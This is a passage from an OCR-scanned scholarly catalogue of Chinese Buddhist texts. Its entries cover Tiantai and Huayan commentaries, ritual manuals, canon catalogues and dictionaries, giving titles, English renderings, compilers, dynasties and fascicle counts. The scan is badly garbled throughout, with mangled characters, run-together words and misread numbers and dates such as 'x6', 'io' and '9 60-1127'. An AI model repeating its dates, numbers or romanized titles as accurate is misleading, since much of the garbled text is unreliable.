Ceremonial rules for confession and prayer for going to be bornin the Pure Land or Sukhyati. 'x6 leaves.1514 it tY 't TT - 19Wtt-sha-tsi-thu-168-i-hhi-yuen-'rh-man.` (K treatise on) two subjects for going to be born in the PureLand or Sukhvatl, namely; determination of doubts andpractice of prayer. '12 leaves.-^4; ^e J.e1 515qi^ .. `J* litTshi-kwn-shi-yin-phu-s-sio-fu-to-hM. .tho4o-ni-sn-mi-i.Ceremonial rules for the Samdhi or meditation on (the- meritof) the Dhrani asking the Bodhisattva Avalokitesvara formaking poisonous injuries perish, No. 3 26.19 leaves.The following three works were compiled by K'-li,of the Thien-th3 i school, of the later Sun dynasty,A. D. 9 60-1127 :--Kin-kw-miii-tsui-sham-khn-i.Ceremonial rules for confession (and recital of) the Suvarna-prabhsottama-(rpa)-sittra, No. 126 (or No. 127, cf.No. n572). '8 leaves.1517
3 r. Jtei T7Tshien-sheu-yeti-t-pi-sin-kheu-hhi-fa. .' Rules for the practice or recital of the Dhrani of the heart ofthe great compassionate one who is possessed of a thousandarms and eyes, i. e. Avalokitesvara, No. 3 20220 leaves.1518II' Ceremonial rules for worshipping the Saddharmapundarlka-sAtra, No. 13 422 leaves.1519 ^`: a 1kKh'-sha-kw-to-Mai- niera- sun-i.' Ceremonial rules for the recital of (a Dhrani entitled) Rh'-sha-kwn, etc. , No. 1o0, in the religious place or temple. 'Compiled by Tsun- Shih, of the Thien-thi school,about A. D. I000, of the later Sun dynasty, A. D. 9 60-1127. 17 leaves.The following two are the works of Zn-yo, of. theThien- thi school, of the later Sun dynasty, A. D. 9 60-II27:--1520 if ta to 3 k a L. . 1T1 l p^ ^Shih-ki-zu-1&i-ni-phn-li-tsn-wan.' Laudatory composition for the worship on (the anniversary of)the Tathgata Skyamuni's entrance into Nirvna. '8 leaves.. . . p
1521
Kwn-tsz'-ts'i-phu-sa-zu-i-lun-kheukh-f.'Rules for the recital of the Avalokitesvara-bodhisattva-(padma)-kintmani-dhrani, No. 3 24:8 leaves.1522 . J;; t 4Anf Oi,1 iT p CThien-thM-k'-k-t-sh'-kM-ki-li-tsn-wan.' Laudatory composition (for the worship) on the anniversary ofthe death of K'-k-t-sh', or " the great teacher who waswise" (K'-i), of the Thien=thi (hill or echool). ' Cf.No. 1510.Composed by Tsun-shih, of the Thien-thi school,about A. D. I000, of the later Sun dynasty, A. D. 9 60--1 127. 8 leaves.1523 ut.Tshz'-pi-shui-khn-f.' Rules for the confession of water of mercy and , compassion.Compiled by K'-hhen, who died in A. D. 88i, of theThan dynasty, A. D. 618-9 07. 3 fasciculi. The authoris said to have met with the rya Kanaka, and theyboth purified their enmity with the so-called waterof Samdhi or meditation. Then K'-hhen composeda confessional writing; and explained the meaning ofthe Law. This singular account is given in the prefaceby the Emperor Khan-tsu, of the Min dynasty, datedA. D. 1416.1524"1,^'^14Kin-th- kwhn-tan-lu.' Records of the transmission of the lamp (of the Law) up to theKid-th period; A. D. 1004-1007, under the later Sufi dynasty.3 3 7CHINESE MISCELLANEOUS WORKS.3 3 8Compiled by Tao-yuen, of the Shn- or Dhynaschool, of the later Sun dynasty, A. D. 9 60-1127.3 o fasciculi. This is a history of the Indian andChinese patriarchs of. the Dhyna school, which schoolwas established in China by Bodhidharma, who arrivedin that country from India in A. D. 520. In the first26 fasciculi, 1712 persons are mentioned ; and inthe remaining fasciculi, accounts of. twenty-two eminentpriests and their verses and compositions are collected.See K'-tsi, fasc. 42, fol. Io b seq. But in a preface toNo. 1524, a less number of these patriarchs is given,viz. 1761, which number is said to include that of theseven Buddhas, mentioned at the beginning of thiswork. 'The statement of this preface seems to be in-correct. No. 1524 was presented to the EmperorKan-tsun, by the author, in A. D. io06. See Thun-ki,fast. 44, fol. . 4 1 525 Ili'*itLiu-tsu-ta-sh'-fa-po-than-kin.SQ tra (spoken) on the high seat of the gem of the Law (orDharmaratna) by Liu-tau-t. sh',' or ' the great teacher whowas the sixth patriarch (from Bodhidharma, viz. Hwui-na). 'Compiled by his disciple Tsun-po, of the Shn or,Dhyna school, of the Than dynasty, A. D. 618-9 o7.I fasciculus. This is a sacred book among the SouthernDhyna school, i. e. the followers of this patriarch.Hwui-nail was born in A. D. 63 8, and succeeded histeacher Hun-zn, the fifth patriarch, in patriarchatein 661, and died in 713 . See the addendum by hisdisciple F-hi. Cf. Mayers' Chinese Reader's Manual,p. 1 3 7, No. 428. The succession of this patriarchmakes a great epoch in the history of the Dhynaschool, as this school was then subdivided into two,namely, Southern and Northern, under Hwui-nail andhis rival priest Shan-siu, who both established them-selves in their respective parts in China. Cf. Edkins'Chinese Buddhism, p. i 60 seq.1526, '. ^: P9 a MTsu-man-thu-yo-suh-tsi.Acontinuation of the collection of important (accounts con-cerning) the lineage of the doctrinal school. '
HMKin-kw-mi-ki-wan-ktt.(An explanation of) the words and sentences of the Suvarnapra-bhsa-stra, No. 1 2 7:Spoken by K'-kb-ta-sh' (K'-i), of the Thien-thi hillor school, of the Sui dynasty, A. D. 589 -618. 6 fas-ciculi.1553 , J 9 3 41. Kin-kw-mi-ki-wan-kit-ki.Acommentary on the preceding work.Compiled by K'-li, of the Thien-thi school,. of the.later Sun dynasty, A. D. 9 60-1127. 12 fasciculi.The following two works were spoken by . I'-k-t . -sh'(K'-i), of the Thien-thi hill or school, of the Suidynasty, A, D. 589 -618 ; and recorded by his discipleKwn-tin :1 554Yik
.j'Phu-s-/d -i-shu.`Acommentary on the Bodhisattva-pratimoksha(-stra, No. 109 6). '2 fasciculi.1 555Kwn-yin-hhen-i.`Ahidden meaning of (or introduction to) the Avalokitesvara(-sfltra, No. 13 7, or the 25th chapter of No. 13 4). '2 fasciculi. This work is a minute commentary onthe title of the chapter, namely, Kwn-shi-yin-phu-s-phu-man-phin, i. e. Avalokitesvara-bodhisattva-saman-ta-mukha-parivarta. See No. 13 7.1556
1 A di FigKwn-yin-hhen-i-ki.Acommentary on the preceding work.Compiled by K'-li, of 'the Thien-thi school, of thelater Sun dynasty, A. D. 9 60-1127. 4 fasciculi.1557'^;` Kwn-yin-i-shu.' Acommentary on the Avalokitesvara(-s tra). ' Cf. No. 1555.Spoken by K'-k-t-sh' (K'-i), of the Thien-thi hillor school, of the Sui dynasty, A. D. 589 -618, 2 fas-ciculi.1558,r91 4 ^iKwn-yin-i- shu-ki.Acommentary on the preceding work.Compiled by K'-li, of the Thien-thi school, of thelater Sun dynasty, A. D. 9 60-1127. 4 fasciculi.1559
-51 ^L: tiKwn-wu-li-sheu-fo-ki-shu.Acommentary on the Amityur-buddha-dhyna (?)-sAtra,No. 19 8. 'Spoken 'by K'-k-ta-sh' (K'-i), of the Thien-thihill or school, of the Sui dynasty, A. D. 589 -6 a 8.1 fasciculus.1560 n 4. . tut. 1'Q%1-
Kwn-wu-li-sheu-fo-ki-shu-mio-tsuii-kho.Acommentary on the preceding work3 45CHINESE MISCELLANEOUS WORKS.3 46Compiled by K'-li, of the Thien-thi school, in A. D.IO2I, under the later Sun dynasty, A. D. 9 6o-1 I27.6 fasciculi. The last three characters in the title, beinga special name of this work, may be translated into`record of the wonderful principle. '1561 1110$ 14 POAThien-thi-k'-k-t-sh'-shn-man-khu-kii.An oral transmission of the doctrine of Dhyna or meditation,by K'-k-t-sh' (K'-i), of the Thien-thi (hill or school):Recorder's name not mentioned. 1 fasciculus.1562pP9,
1 4 TM rJIuTshi-kwn-yin-ki-shu.`Acommentary on the Avalokitesvara-ykana(?)-sittra, No. 3 26. '. Spoken by K'-k-t-sh' (K'-i), of the Thien-thihill or school, of the Sui dynasty, A. D. 589 -618.I fasciculus.1563 figglmnoTshi-kwn-yin-kin-shu-shan. i-khd.Acommentary on the preceding work.Compiled by K'-yuen, of the Thien-thi school, ofthe later Sun dynasty, A. D. 9 60-1127. 4 fasciculi.The last three characters in the title being a specialname of this work may be translated. into ` record ofopening the meaning. 'The following three works were spoken b K'-k-ti-sh'(K'-i), of the Thien-thi hill or school, . of the Suidynasty, A. D. 589 -618 ; and No. i566 was recordedby his disciple Kwn-tin, but the recorders of Nos. 1564and 1565 are not mentioned :--,$+ -^; ,^.1564 ^^^e ^^Shih-mo-h-pn-zo-po-lo-mi-ki-kio-i-sn-mi.`An explanation of the Samdhi o4meditation called understanding-thought (explained in) the Mhpragapramit-sAtra, No. 3 :1. fasciculus.1565Sz'-nien-khu.(Adiscourse or work) on the . Katur-smrity-upasthna, or foursubjects of thoughts. '4 fasciculi. The subject of this work is the firstdivision of the thirty-seven constituents of true know-ledge, or the Bodhipakshika-dharma. See Childers'Pali Dictionary, pp. 9 2 b, 466 b.1566 t. INM MXV4tZan-wan-hu-kwo-pan-zo-ki-ahu.`Acommentary on the Krnnikarga-desapla (?)-pragpramit-sAtra, No. 1 7,'5 fasciculi.1567*44/0 Wp8Fo-shwo-zan-w&n-hu-kwo-pn-zo-po-lo. .mi=ki-ahu-shan-po-ki.Acommentary on the preceding work.Compiled by Shan-yueh, of the Thien-thi school,A. D. 123 0, under the Southern Sun dynasty, A. D.1 127-1280. 4 fasciculi. The last three characters inthe title, being a special name of this work, may betranslated into ` record of spiritual gems. '1568 lEselThien-thi-p-kio-t-i.' An outline of eight divisions of (Buddha's) teaching accordingto the Thien-thi school. 'Drawn by Kwn-tin, of the Thien-thi school, of thenail dynasty, A. D. 6x8-9 07. I fasciculus. The eightdivisions are technically called, t,`1*, AI g, f, M, tun, tsien, pi-mi, pu-tin, tsn,thus, pieh, yuen. Edkins translates these into ` thecompliant, gradual, secret, indeterminate, collection,progress, distinction, and completion. ' See his ChineseBuddhism, p. 182. The first four are styles of teaching.considered as medical compounds, while the last four arethose of the law taught as the taste or ' power ofmedicine. The last four are fully explained in Nos.1551 and 1569 .1569 1Sz'-kiao-i.(Awork on) the meaning of four divisions of (Buddha's) teaching. 'Cf. Nos. 1551, 1568.Composed . by K'-k (K'-i), of the Thien-thai hill orschool, of the Sui dynasty, A. D. 589 -618. 6 fasciculi.1570wKwo-tshi-0i-1u.Acollection of a hundred (compositions of the teacher) of theKwo-tsbii^ (monastery, viz. . K'-i, of the Thien-thi hill orschool). 'Collected by his disciple Kwn-thi, of the Thandynasty, A. D. 618-9 07. 4 fascicali.347CHINESE MISCELLANEOUS WORKS. 3 481 571
VitVApIShin-sham-po-lo-mi-tshz'-ti-f-man.' An explanation of the gradual doctrine of the Dhy&na-pramit . 'Spoken by K'-k-t-sh' (K'-i), of the Thien-thi hillor school, of the Sui dynasty, A. D. 589 -618, andrecorded by his disciple Fa-kan, and revised by Kw n-tifi. i o fascicule.1512 itP9F. -ki-tshz' -ti-ku-man.` The first gate or step to the order or degree of the state ofexistence (Dharmadh tu). 'Composed by . K'-k (E'-i), of the Thien-thi hill orschool, of the Sui dynasty, A. D. 589 -618. 3 fasciculi.This is a useful work on the Buddhist technical terms.The following two works were spoken by K'-k-to-sh'(K'-i), of the . Thien-thai hill or school, of the Suidynasty, A. D. 589 -618, and No. 1573 was recordedby his disciple Kwn-tin, but the recorder of No. 1574.is not mentioned :1573
7-71 fi?;Fan-tai-sae-mi-hhi-f&' Rules for the practice of the Vaipulya-sam dhi or extendedmeditation. '1 fasciculus.1 574'Atreatise on ten doubts about the Pure Land (Sukhvatl)'i fasciculus. This treatise explains ten doubts aboutbeing born in Sukhvatl of Amitayus or Amitbha,and removes them, according to K'i's own . view-onthis doctrine. The ten doubts are (1) Those whowish to be born in the Pure Land seem to be in wantof great mercy and compassion. {2) Their wish to beborn seems to be contrary to the reason or law ofwu-sham or ' without birth' (Anutpanna 1). (3 ) ' Theyseem to wish partially to be born in one land. (4) Theyseem to believe partially in one Buddha; (5) Eventhose . who are not free from worldly thirst are allowedto be born there. (6) They are said to attain to thestate of freedom from return (Avinfvartaniya). ' (7) Theydo not wish to be born in the inner palace (of theTushita heaven, where the future Buddha. Maitreya livesnow). (8) They are allowed to be born there only bymeditating or thinking intensely on Amitayus or Ami-t5bha ten times. (9 ) Women and the deformed are notallowed to be born there. 00) Whether any otheraction or practice`is needed for going to be born there.As to the eighth doubt, the term shi-nien isgenerally explained' by others as `repetitions of Bud-dha's name ten times ;' but K'-i takes it in the sense ofintense thought on Buddha ten times. ' Cf. No. 1559 ,where his whole view is fully explained.^^v^p ^^^rJ'uKwn-sin-lun-shu.' Acommentary on the treatise about meditation on the heart(composed byCompiled by Kwu-tiri, of the Thien-thi school, ofthe Than dynasty, A. D. 618- 9 07. 5 fasciculi.1576 W AZ AR M . ta KNan-y o-sz'-ta-shn-shi-li-shi-yuen-wan.` Prayer by Hwui-sz', the great Dhyna teacher of the Nn-yo,or the southern high mountain. '1 fasciculus. For the author Hwui-sz', see Nos. 1542,1 543 , 1. 5471577* 0$ iftl.Thien-thi-k'-Ic-ta-sh'-pieh-kwhn.` ASeparate or special life of K'-k-t r a-sh' (K'-i), of the Thien-thdi(hill or school). 'Compiled by his disciple Kwn-tin, of the Thn. dynasty, . A. D. 618-9 07. 1 fasciculus.The following two works were composed by Tsan-zan,of the Thien-thai school, of the Th dynasty, A. D.618-9 07:--1578Ki-kwan-ta-i.` An outline. of (Mo-115-)ki-kwdn, No. 1 53 8. '21 leaves.1 579AO0 Jtil' Sh' -ku- sin-yo:' (Atreatise on) the beginning and end of the importance con-cerning the heart. '2 leaves. ,1580Siu-khn-yo-k'.' (Atreatise on) the importance of the practice of confession. 'Composed by K'-li, of the Thien-thi school, of thelater Sufi dynasty, A. D. 9 60-1127. 17 leaves.1581^qShi-pu-'rh-man.' (Atreatise on) ten inseparable (" not two ") subjects. '15759fol. a.42,3 49 CHINESE MISCELLANEOUS WORKS.3 50Composed by Tsin-An, of the Thien-thi school,of the Thin dynasty, A. D. 618-9 o7. 14 leaves. Thiswork is a part of, or an extract from No. 153 5. SeeK'-tsin, fasc.$n.Sb' -yo-kho.Record of pointing out importance.Acommentary on the preceding work.Compiled by K'-li, of the Thien-thi school, of thelater Sun dynasty, A. D. 9 60-1127. 2 fasciculi.1583 4` 10Kin-kn-pi.-' Adiamond probe. ' Ametaphysical work.Composed by Tsn-An, of the Thien-thi school,of the Than dynasty, A. D. 618-9 07, x fasciculus ;3 7 leaves.1584 MJt1:1` F-k'-i-pien-kwn-sin-'rh-pi-wan.Two hundred questions on (the treatise about) meditation on theheart (cf. No. 1575), being a work left by Ft-k' (unfinished?)at his death. 'Compiled by Ki-kun, of the Thien-thi school, ofthe later Sun dynasty, A. D. 9 60I 127. I fasciculus;27 leaves.1585yYun-ki-tsi.'Acompilation (of general accounts of the Law, made by a priest)of Yuii-ki (name of a place):Compiled by . Hhden-kio, of the Thien-thi school,of the Than dynasty, A. D. 618-9 07. 2 fasciculi. Thiswork does not belong to the Shan or Dhyna school,though its full title has the two characters Shin-tsunor ' Dhyna school. 'The following two works were composed by Hwai-ts, of the Thien-thi school, of the ,Yuen dynasty, A. D.128o-1 3 68 :1. 586 TX,r,; J^^l rigThien-thi-kwhn-fo-sin-yin-ki.' Arecord of the transmission of the seal of Buddha's heart(Buddha-hridaya-mudr), of the Thien-thi school. 'io leaves.1587if" J P9Tsin-thu-kin-kwn-yo-man.An important gate or doctrine of meditation on the state of thePure Land (Sukhvati). 'i8 leaves.1588a 'Sheu-i-yen-kin-i-hi.' The sea of the meaning of (or a commentary on) the SAragama-sAtra, No. 446. 'Compiled or collected by Hhien-kwei, about A. D.1165, under the Southern Sun dynasty, A. D. 1127--1280. 3 o fasciculi. It contains three older com-mentaries, which are arranged one after the otherunder each sentence or passage of the Siltra. Therespective titles and compilers of these three com-mentaries are(i) I-shu, or ' a statement of the mean-ing,' by Tsz'-sen, about A. D. 103 0. (2). Pio-sh'-yo-i, or ' a mark for pointing out the importantmeaning,' by Hhio-yueh, about A. D. 1073 . (3 ) Tsi-ki,or ' a collection of explanations,' by Zan-yo, about A. D.1059 .The following two works were compiled by Khan-kwn, , the fourth patriarch of the Hw-yen or Avatam-saka school, who 'died in A. D. 8o6, under the Thandynasty, A. D. 618-9 07 :1589 *al a ^TA-fn-kwn-fo-hw- yen-ki-sh'u.`Acommentary'on'the Buddhavatamsaka-vaipulya-sfltra, Nq. 88. '6o fasciculi.159 0 Akikf'``^`
:. FTa-fn-kwn-fo-hw-yen-kin-sui-shu-yen-i-kho.Acommentary, on the preceding work.9 0 fasciculi.The following three works were composed by 11-tsn,the third patriarch of the Hw-yen school, now, calledHhien-sheu-tsun, after the posthumousname of this patriarch, who died in A. D. 712, underthe Thn dynasty, A. D. 618-9 07:159 1 AR v-Hw-yen-yi-ahankio-i-fan-tshi-k.Atreatise on the distinction of the meaning of the doctrineof one vehicle (Ekayana), of the Buddhavatamsaka sfltra,Nob'. 87, 88. '4 fasciculi; i o chapters.15823 51CHINESE MISCELLANEOUS WORKS.352159 2 . EfriTIM pN-ll--Hw-yen-kili-mini- f-phin. -ni-li-sn-po-k1i.' Atreatise on the Triratna established or explained in theMin-fa (" clear law") chapter of the Buddhavatamsaka-sAtra, Nos. 87 (fasc. io), 88 (fasc. i8). '2 fasciculi.159 3 ''m` ^^' i iSiu-hw-y en4o-k' -wall-tsin-hwan-yuen-kwn.` (Atreatise on) the deepest meaning of the Buddhavatamsaka-stra, Nos. 87, 88, viz. when falseness comes to an end, itis the return to its origin. '16 leaves; 6 chapters.1 594,% A pYuen-zam-lun.' Atreatise on the origin of man. 'Composed by Tsu-mi, the fifth patriarch of theHw-yen school, who died in A. D. 841, under the Thandynasty, A. D. 618-9 07. . I z leaves ; 4 chapters. The'first chapter confutes Confucianism ; the second doesthe same with the Hinayana school, and even some ofthe followers of the Mahayana who still believe in onlya part of the Law; the third explains the true doctrineof Buddha; and the fourth unites all those beforeconfuted, and treats them as if they were all the rightteachings, being produced from one and the same source.This is a very well-known work.159 5
#algtaaHw-yen-ki-k' -kwi.' An outline of the contents of the Buddhvatamsaka-stra,Nos. 87, 88. 'Drawn by Fa-ts, the third patriarch of the Hw-yen school, of the Th dynasty, A. D. 618-9 07. z fas-ciculus ; 27 leaves ; io chapters.159 6 ' nP9 .Ku-hw-yen-f&-ki-kwn-man.' Acommentary on (the treatise about) the meditation on thestate of existence, according to the Buddhvatamsaka-stra, Nos. 87, 88. 'Compiled by Tsu-mi, the fifth patriarch of theHw-yen school, of the Th dynasty, A. D. 618-9 07.z fasciculus. The text was composed by Tu Ft- shun;the first patriarch or the founder of this school inChina, who died in A. D. 640.159 7 S _Fo-i-kio-kill-lun-shu-shwo-yo.`An extract from a commentary on the Sstra, No. 1209 , of theSutra of Buddha's last teaching, No. 12 2'Made by Tsiii-yuen, a Corean priest of the Hw-yenschool, of the later Sun dynasty, A. D. 9 6o-1127i fasciculus ; 63 leaves. The original commentatoris not mentioned. The Sstra is wrongly ascribed toAsvaghosha, instead of Vasubandhu. See K'-tsin,fasc. 3 6, fol. i8 b.159 8 Hw-yen-f-ki-hhen-ki.' Ahidden mirror of the state of existence (Dharmadhtu)according to the Buddhavatamsaka-stra, Nos. 87, 88. 'Acommentary on No. 159 6.Compiled by Khan-kwn, the fourth patriarch of theHw-yen school, of the Than dynasty, A. D. 618-9 07.2 fasciculi. -1 599 & g at s^^Nc,^. . LPau-zo-po-lo-mi-to-sin-kin-lio-shu.'An abridged or brief commentary on the Praghaparamit-hridaya-s tra, No. 20. 'Compiled by Fa-tsli, the third patriarch of theHw-yen school, in A. D. 702, tinder the Than dynasty,A. D. 6x8-9o7. i fasciculus; T 3 leaves.Pan-zo- sin-kill-lio-shtz-lien-shu-ki.Acommentary on the preceding work.Compiled by Sh'-hwui, of the Hw-yen school, whodied in A. D. 9 46, under the Latter Tsin dynasty, A. D.9 3 6-9 46. 2 fasciculi. The last three characters inthe title, being a special name for this work, mean `arecord of pearls united together by a string. '1601Yii-ln-phan-kill =shu.`Acommentary on the Ullambana-stra, No. 3 03 . 'Compiled by Tsu-mi, the fifth patriarch , of theHO-yen school, of the Th dynasty, A. D. 618-9 07.2 fasciculi.1602 t as t . 0f' rill 16Hw-yen-kin-sh' -tsz'-k-yun-kien-li-ki.`Abrief commentary on the treatise about the Buddhavatamsaka-sQ tra compared with a golden lion. 'Compiled by Tsin-yuen, a Corean priest of the Hw-yen school, of the later Sun dynasty, A. D. 9 60- 11 27.i 9 leaves. The text is the work of Fa-ts, the thirdpatriarch of the Hw-yen school, who wrote this treatiseat the request of the Empress Wu Ts-thien, A. D. 684-705, of the Th dynasty. The golden lion referred to1600 r3 53 CHINESE MISCELLANEOUS WORKS. 3 54ii the title is said to have been an ornament placedin the Imperial garden. The last four characters in thetitle, being a special + name for this commentary, maymean ' explanation (as imperfect) as (a dragon- appears)in the midst of a cloud (?). '1603 '^RR ,,Fo-shwo--mi-tho-ki-shu.'Acommentary on the Buddhabhshita-amityus-sfltra, i. e. theshort Sukhvattvytiha, No. aoo. 'Compiled by Yuen-hhio,- Corean priest, of theThai dynasty, A. D. 618-9 07. 9 leaves.1604I t *Sho-hhi-ku-Liao-to-tsn-yin.'Sounds of (the words of) the great repository, or a dictionaryof the Buddhist Canon, republished in the Sho-hhiiiperiod, A. D. 113 1-1162 (under the Southern Suit dynasty,A. D. I1 27-13 68). 'Compiled (originally?) by Khu-kwn, in about A. D.109 4, under the later or Northern Sun, dynasty, A. D.9 60-1 12 7. 3 fasciculi.1605
>` A. dictionary (" sound and meaning ") of the whole Canon. 'Compiled by, Hhen-yin, in about A. D. 649 , underthe Th dynasty, A. D. 618-9 07. 26 fasciculi.1606Hw-yen-ki-yin-i,dictionary ("sound and meaning ") of the Buddhvatarnsaka-sutra, No. 88. 'Compiled by Hwui-wan, in about A. D. 700, underthe Th dynasty, A. D. 618-9 07. 4 fasciculi,1607,o ien-*i4u,'Records of explanation or confutation of the falseness (ofTaoism). 'Compiled by Sia i-mai, of the Shan or Dhna school,of the Yuen dyn . ty, in. A. D. 129 1, under the Yuendynasty, A. D. 128o-13 68. 5 f. ciculi.1608qSui-ku-ki-mu-lu.'Acatalogue of Buddhist sacred books (collected) under the Suidynasty, A. D. 589 -618:Compiled by priests and literati, in A. D. 603 , whohad been appointed by the Emperor as translatorsof the Tripitaka. 5 fasciculi. The total number ofthe books mentioned in this catalogue is 2109 works,in 5058 fasciculi; of which 402 works, iu 747 fasciculi,had then been lost.1609 The same title as No. 16o8.Compiled by Fa-kin and others, in A. D. 59 4.7 fasciculi. The total number of the books mentionedin this catalogue is 2257 works, in 53 10 fasciculi ;of which the number missing may be about the sameas that iii the preceding work.1610 ARA '^,Wu-keu-khan-tin-ki -ki-mu-lu.'Arevised catalogue of Buddhist sacred books (collected) underthe Keu dynasty, of the Wu family, A. D. 69 0-705 (or therightful but them nominal Th__ynasty, A. D. 618-9 07).Compiled by 'Min-khen and others, in A. D. 69 5.15 fasciculi, The total number of the books mentionedin this 'catalogue is 3 6x6 works, in 8641 fasciculi;of which that of the translations of the Tripitaka ofthe Mahayana and Hinayana is 1 470 works, in 2406fasciculi.The Keu dynasty of the Wu family fills the latterpart of the reign of , the Empress Wu Ts-thien, whoset aside the rightful sovereign Zui-tsuli, the fifthEmperor of the Than dynasty, and usurped the thronefor: _twenty years. In A. D. 69 o, she adopted thedynastic title of Keu in lieu of Th. See Mayers'Chinese Reader's Manual, p. 256, No. 862, and p. 3 81,col. x.i1611*M I1Ta-tsn-sha-kio-fa-po-piao-mu:'Acatalogue of the Dharmaratna, being the holy teaching ofthe great repository, or Buddhist sacred books. 'Compiled originally by Wait Ku, of the later (orNorthern) or Southern Sufi dynasty, A. D. 9 60-1280 ;and continued by Kwn-k-pit, in A. D. 1 3 06, under theYuen dynasty, A. D. 1280- 1 3 68. 10 fasciculi. Thiscatalogue entirely depends on No. x6 12, -and adds ashort account of the contents of each book.1 61 2^'-yuan-f-po-loan-thon-tsu-lu.'Acomparative catalogue of the Dharmaratna or Buddhistsacred books (collected) in the K'-yuen period, A. D. 1264-129 4(under the Yuen dynasty, which ruled over the wholeof China, from A. 'b. 128o till 13 68). ' Compiled by Kiii-ki-sin and others, in A. D. 1285-1287. 10 fasciculi. The total number of the trans-.Aag1617^:;ns'fffKu-fo-shi-tsun-zu-lai-phu-s-tsun-k-shan-sa-min-kin. Sutra of. the names of Buddhas Bhagavat Tathagatas, Bodhi-sattvas, Aryas, and Riddhi-sagha or spiritual priests. '4o fasciculi. The preface dates from A. D. 1415.f:3 55CHINESE. MISCELLANEOUS WORKS. 3 56Rations of the Tripitaka mentioned in this catalogueis 1 440 works, in 5586 fasciculi. Besides this number,there are some miscellaneous Indian and Chineseworks. All the translations of the Tripitaka and otherIndian works are compared with the Tibetan trans-lations. The Sanskrit titles, being taken from thelatter translations, are transliterated into Chinese andadded to the Chinese Ones. This catalogue is generallycalled K'-yuen-lu.The following three works were compiled by Tsun-land Zu-khi, in A. D. 13 78, under the Min dynasty,A. D. 1 3 68-1644 :1613 *P 4 p1ELan-ki--poh-to-to-pao-kin-ku-ki.Acommentary on the Lakavatdra-ratna-sutra, No. 1758 fasciculi.1614 Me g^fi,,-
g>, Jli'g tPn-zo-po-lo-mi-to-sin-kin-k- ki.' Acommentary on the Pragzaparamita-hridaya-entra, No. 20.'4 leaves.1615 4 UR -g11 Kin-kn-pan-zo-p o-to-mi-kin-ku-kid. .' Acommentary on the Vagrakkhedika-pragap&ramita-sutra,No. 10'28 lenses.The above three commentaries were compiled underan Imperial order of the first Emperor of the Mindynasty, reigned A. D. 1 368-1 398. In A. D. 13 77 he,y a decree, caused all the Buddhist priests in China tostudy these three Stras ; and at the same time he calledtogether the priests of the Shan or Dhyna school tocompile these works. This is one of the reasons whythese Stras have become so popular in China.The , names of the collectors or compilers of thefollowing four works are unknown :--1 61 6N -Ta-min-thi-tsuii-wan-hw-ti-y-shi-s-tsn-wan. -' The Imperial prefaces and laudatory verses of the EmperorThai-tsu Wan (Bha-tsu), of the great Min dynasty,reigned A. D. 1403 -1424.I fasciculus;. Iz -leaves; io compositions,' both inprose and verse, dated some time between A. D. 1 41 0'415.1618T.^,. a ,{
^'uKu-fo-shi-tsun-zu-lai-phu-s-tsun-k-min-khaai-ko-kh.'Verses on the names of the Buddhas Bhagavat Tathagatas,Bodhisattvas, and Aryas. '51 fascicule. The preface dates from A. D. 1415.1 61 9aKn-yin-ko-khtLVerses on the influential power or favour (of'Buddha). '1 fasciculus. The Imperial preface dates from A. D.1420.Shan-sa-kwhn.' Memoirs of spiritual priests. 'Compiled by the Emperor Khan-tau, the thirdsovereign of the Min dynasty, reigned A. D. 1403 -1424.9 fasciculi. The preface by the compiler dates fromA. D. 1417. zog priests, both foreign and native, arementioned, from 'Ksyapa Mtanga of the Eastern Hilldynasty, A. D. 25-220, to Phu-An of the SouthernSun dynasty, A. D. I127-1280, who are in the narrationpreceded by some priests of the Yuen dynasty, A. D.1280-13 68. The Emperor selects these priests, whoseactions seem very wonderful and almost supernatural,as they are described in older memoirs.1 621T-milk-sn-tsn-f-shu.' (Aconcordance of) numerical (terms and phrases) of the Lawof the Tripitaka (collected) under the great Min dynasty,A. D. 13 68-1644!Collected and' annotated by Yi-zu, 'a priest of theShn-thien-ku (' upper India') hill (in China), andothers. 40 fasciculi. In this useful concordance manytechnical terms and phrases are arranged according tothe order of their -own number, and they extend fromI (i. e. terms and{phrases beginning with one) up to84,00o.1 6203 57CHINESE MISCELLANEOUS WORKS. 3 581 1A f; ATA,-- suh- zu - tsn - ku- tsi, or SeveralChinese Works successively admitted into the Canon during the ugreat Mindynasty, A. D. 13 68-1644 (in or before A. D. 1584).1 1 . ,Nr1622;Ilwa-yen-hhilen-thAn-hwui-hhiten-ki.Arecord of the explanation of the hidden meaning of (or a com-mentary on) the introductory part of (the commentary on)the Buddhavatamsaka-stltra, No. 1589 :Compiled by Phu-z. ui, of the Yuen dynasty, A. D.1280-13 68. 40 fasciculi.1 623it I A * gAn important explanation of (or a commentary on) the Sad-dharrnapundarlka-stara, No. 13 4. 'Compiled by Ki-hwn, of the later or Northern, orSouthern Sun dynasty, A. D. 9 60I 280. 7 fasciculi.1624 * TOM ii All''Acompilation of explanations of (or nine earlier commentarieson) the MahAbuddhoshnIsha-sarvakaryft-stirangama-stltra,No. 446. 'Compiled by Wgi-tsii, in A. D. 13 42, under the Yuendynasty, A. D. 1280-13 68. 20 fasciculi.1625 -AAUloii laTa-shafx-khi-sin-lun-shu.'Acommentary on the Mahayitna-sraddhotpada-s gstra, No. 1249 ?Compiled by 11-tsafr, the third patriarch of theHw-yen school, of the Than dynasty, A. D. 618-9 07.5 fasciculi.1626 *fill Pt'Arevised record ', or commentary on the preceding work.Compiled by TsZ-siien, of the later Sui4 dynasty,A. D. 9 60-1127. 15 fasciculi.The following two works were compiled by Wan-tsbiti, who died in A. D. 13 02, under the Yuen dynasty,A. D. 1280-13 68 : ; Vfi -15tAnew commentary on the treatise by San-kfto (a famous discipleof Kumaraglva):. 3 f1628*Ko-lun-sin-shu-yiu-zan.Acommentary on the preceding work.xo fasciculi. The last two characters in the title,being a special name for this work, may mean playingwith a strong and well-tempered weapon. '1 629 INt"'zAn extract from an abridged or brief commentary on the Petrna-buddha-sAtra, No. 427. 'Mae by Tsun-mi, the fifth patriarch of the Hwa-yenschool, of the Than dynasty, A. D. 6 1 8-9 07. 3 0 fasciculi;io divisions. The original commentary is said to havebeen compiled by the same author, but it is not foundin this collection.163 0 4 JJ . ,f5 Kin-kM-kin-lun-shu-tswin-yao.'An extract from a commentary on the Vagrakkhedika-sfitra-s gstra, Nos. 1167, 1168, 123 1. 'Made by Tsun-rai (see No. 162 9 ); and revised byTsz'-siten, of the later Sun dynasty, A. D. 9 60I lc 27.2 fasciculi.163 14 RN g A rigArevised record' or commentary on the preceding work.Compiled by Tsz'-sen (see No. 163 0), in A. D. 1024.7 fasciculi.E71163 2 gt. ihKaga'Acommentary on the Vimalakirti-nirdesa-sittra, No. 146. 'Compiled by Safi-kao, of the Latter Tshin dynasty,A. D. 